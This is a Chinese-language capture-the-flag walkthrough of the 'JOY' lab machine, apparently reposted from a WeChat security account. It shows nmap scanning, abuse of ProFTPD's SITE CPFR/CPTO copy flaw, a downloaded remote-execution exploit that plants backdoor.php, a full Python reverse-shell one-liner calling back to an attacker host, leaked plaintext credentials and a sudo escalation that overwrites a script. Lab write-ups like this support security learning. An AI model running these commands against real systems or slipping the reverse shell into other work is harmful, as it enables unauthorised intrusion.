一、主机发现
arp-scan -l
靶机ip为192.168.55.159
二、端口扫描、目录枚举、指纹识别
2.1端口扫描
nmap --min-rate 10000 -p- 192.168.55.159
发现开放了很多端口
UDP端口扫描
nmap -sU --min-rate 10000 -p- 192.168.55.159
靶机也开放很多UDP端口
2.2目录枚举
dirb http://192.168.55.159
就扫出来了一个目录,没啥信息
2.3指纹识别
nmap 192.168.55.159 -sV -sC -O --version-all
指纹识别发现ftp可以匿名登陆
三、拿到低权限shell
3.1匿名登陆ftp服务
匿名登陆ftp服务查找信息
只有upload目录下有信息,将目录下的内容下载
大部分内容都是没有用的,其中有一个directory文件里面有很多信息
这个是Patrick用户的目录,告诉我们靶机里面有一个用户是Patrick,还有靶机的版本
Linux JOY 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux
那么问题来了,怎么查看这个目录下的内容呢?
3.2 telnet登陆,使用site命令的copy漏洞
此时使用的是ftp登陆,telnet登陆跟ftp登陆不一样,telnet登陆相当于远程登录,可以试试查看该目录下的内容
telnet 192.168.55.159 21
尝试使用proftp服务下的site命令的copy漏洞
由于这个目录是Patrick用户下的,猜测其路径是/home/Patrick
directory目录中有一个version_control文件,尝试看看版本信息
site cpfr /home/patrick/version_control
site cpto /home/ftp/upload/version_control
将其下载下来,查看后发现了版本信息以及目录改变
3.3proftp服务的漏洞利用
搜索一下proftp的漏洞
在github上找到了该版本的远程执行漏洞
将exp下载后在kali中使用
python exploit.py --host 192.168.55.159 --port 21 --path "/var/www/tryingharderisjoy"
访问http://192.168.55.159/backdoor.php?cmd=whoami
成功执行
写入反弹shell的语句
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.55.147",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
成功拿到低权限shell
四、提权
4.1靶机内信息收集
由于刚刚拿到了Patrick用户的目录,此时的用户是www-data,先尝试拿到Patrick用户的权限
在/var/www/tryingharderisjoy/ossec目录下找到了.htpasswd和patricksecretsofjoy文件
查看patricksecretsofjoy文件后发现了账号密码
patrick:apollo098765
root:howtheheckdoiknowwhattherootpasswordis
成功切换为patrick用户
4.2 sudo提权
查看一下patrick的sudo权限
找到了test文件
尝试使用该文件进行提权
想去看看这个文件是干啥的,结果没有权限
我的思路就是在本地创建一个提权的test文件,然后替换原文件,以达到提权的目的
test文件内容如下
/bin/sh
先将test文件上传
ftp 192.168.55.159
cd upload
put test
然后使用telnet将test文件覆盖原文件
telnet 192.168.55.159 21
site cpfr /home/ftp/upload/test
site cpto /home/patrick/script/test
随后执行该文件
sudo /home/patrick/script/test
提权成功!
原文始发于微信公众号(泷羽Sec-pp502的安全笔记):JOY靶机通关笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论